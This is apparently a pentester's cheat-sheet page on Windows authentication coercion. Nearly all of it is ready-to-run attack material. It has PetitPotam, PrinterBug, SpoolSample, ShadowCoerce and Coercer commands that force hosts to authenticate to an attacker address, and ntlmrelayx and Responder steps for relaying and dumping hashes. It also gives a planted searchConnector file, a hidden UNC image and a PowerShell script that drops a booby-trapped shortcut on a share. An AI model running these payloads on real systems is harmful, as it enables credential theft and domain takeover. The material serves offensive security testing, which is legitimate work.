Authentication Coercion
It's a good idea to check if NTLMv1 downgrade is possible when triggering the callbacks.
Check if Spooler is running via Remote Registry:
$ rpcdump.py MEGACORP/snovvcrash:'Passw0rd!'@192.168.1.11 | grep -A2 -e MS-RPRN -e MS-PAR
Cmd > .\SpoolSample.exe 192.168.1.11 10.10.13.37
Cmd > .\SpoolSample.exe 192.168.1.11 [email protected]/test.txt
Cmd > .\SpoolSample.exe 192.168.1.11 [email protected]/test.txt
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC01.megacorp.local
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' [email protected]/test.txt DC01.megacorp.local
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' [email protected]/test.txt DC01.megacorp.local
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 10.10.13.37
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local [email protected]/test.txt
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local [email protected]/test.txt
CVE-2021-36942
$ python3 PetitPotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11 [-pipe all]
$ python3 PetitPotam.py -d '' -u '' -p '' [email protected]/test.txt 192.168.1.11
$ python3 PetitPotam.py -d '' -u '' -p '' [email protected]/test.txt 192.168.1.11
Cmd > .\PetitPotam.exe 10.10.13.37 192.168.1.11 1
Cmd > .\PetitPotam.exe [email protected]/test.txt 192.168.1.11 1
Cmd > .\PetitPotam.exe [email protected]/test.txt 192.168.1.11 1
PetitPotam any host (not only a DC with null sessions allowed for the
IPC$ share) without initial creds via proxying through an authenticated session on behalf a DC-relayed machine account:$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
Something went wrong, check error status => SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
$ ntlmrelayx.py -ip 10.10.13.37 -t 192.168.1.11 -smb2support -socks --no-http-server --no-wcf-server --no-raw-server
$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 DC1.megacorp.local
ntlmrelayx> socks
ntlmrelayx> stopservers
$ sudo ./Responder.py -I eth0 -vA
$ proxychains4 python3 Petitpotam.py -d MEGACORP -u 'DC1$' -no-pass 10.10.13.37 192.168.1.11
NTLM Relay DC1 to EXCH1 to get SOCKS ➡️ SOCKS proxy PetitPotam to EX1 as
DC1$ ➡️ NTLM Relay to EXCH2 to dump hashesWith Kerberos authentication:
$ getTGT.py megacorp.local/snovvcrash -hashes e929e69f7c290222be87968263a9282e:e929e69f7c290222be87968263a9282e -dc-ip 192.168.1.11
$ KRB5CCNAME=`pwd`/snovvcrash.ccache python3 PetitPotam.py -k -no-pass -d megacorp.local -u snovvcrash target.megacorp.local attacker.megacorp.local
$ python3 shadowcoerce.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 192.168.1.11
Check if callback via WebDAV (HTTP) is possible. It is when the
WebClient service is running. If it's possible, then NTLM Relay to LDAPS on behalf of the relayed machine account is your chance for RBCD workstation takeover.Check via PowerShell:
PS > Install-Module -Name NtObjectManager
PS > Get-NtFile -Win32Path '\\192.168.1.11\pipe\DAV RPC SERVICE'
Check via CME:
$ cme smb smb.txt -u snovvcrash -p 'Passw0rd!' -M webdav | grep -a 'WebClient Service enabled'
PS > .\GetWebDAVStatus.exe SRV01,SRV02 --tc 1
Put the
.searchConnector-ms file on a writable share. When a domain user opens target folder in explorer, the WebClient service should start automatically:Documents.searchConnector-ms
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
Forcing with a hidden image:
<img src="\\10.10.13.37\pwn.ico" height="1" width="1" />
Forcing with a shortcut:
lnk.ps1
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("\\SRV01\PublicShare\pwn.lnk")
$lnk.IconLocation = "\\10.10.13.37\pwn.ico"
$lnk.Save()
$ coercer coerce -u snovvcrash -p 'Passw0rd!' -f dc.txt -l 10.10.13.37 [--filter-pipe-name efsrpc] [--filter-method-name EfsRpcDuplicateEncryptionInfoFile] --auth-type smb --always-continue --delay 1
Last modified 3mo ago